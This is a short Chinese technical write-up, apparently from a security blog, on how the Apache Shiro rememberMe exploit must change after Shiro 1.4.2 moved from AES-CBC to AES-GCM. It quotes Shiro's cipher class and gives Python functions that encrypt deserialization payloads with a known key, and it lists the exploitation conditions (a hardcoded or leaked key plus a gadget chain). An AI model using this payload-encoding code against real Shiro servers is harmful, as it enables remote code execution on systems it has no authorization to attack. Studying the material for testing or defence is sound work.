加密方式变化
Shiro在1.4.2版本修复了Oracle Padding Attach漏洞,将加密方式从AES-CBC换成了AES-GCM,导致旧版利用工具发送的Payload在新版本Shiro上无法正常解密
Shiro 的 AesCipherService 中定义了加密方式
public class AesCipherService extends DefaultBlockCipherService {
private static final String ALGORITHM_NAME = "AES";
public AesCipherService() {
super("AES");
this.setMode(OperationMode.GCM);
this.setStreamingMode(OperationMode.GCM);
this.setPaddingScheme(PaddingScheme.NONE);
}
protected AlgorithmParameterSpec createParameterSpec(byte[] iv, boolean streaming) {
return (AlgorithmParameterSpec)((!streaming || !OperationMode.GCM.name().equals(this.getStreamingModeName())) && (streaming || !OperationMode.GCM.name().equals(this.getModeName())) ? super.createParameterSpec(iv, streaming) : new GCMParameterSpec(this.getKeySize(), iv));
}
}
加密脚本变更
AES-GCM 与 AES-CBC的区别在于AES-GCM 不需要对密文进行Padding,并且需要附加一段TAG在密文尾部作为签名校验
旧版本加密:
def encode(p):
global key
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
print (pad(b"\x01\x01\x01"))
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body=pad(base64.b64decode(p))
print (base64.b64decode(p))
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print (base64_ciphertext
新版本加密
密文格式为随机生成的16位iv+密文+tag
def encode(p):
global key
BS = AES.block_size
mode = AES.MODE_GCM
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body=base64.b64decode(p)
enc,tag=encryptor.encrypt_and_digest(file_body)
base64_ciphertext = base64.b64encode(iv + enc+tag)
print("Encode_result:")
print(base64_ciphertext)
print("\n")
return base64_ciphertext
利用条件
硬编码常见key/任意文件读取获取到key && 存在可利用gadget
Exploit
支持了新版加密模式Shiro的漏洞利用,Key检测,使用指定加密方式加密编码Payload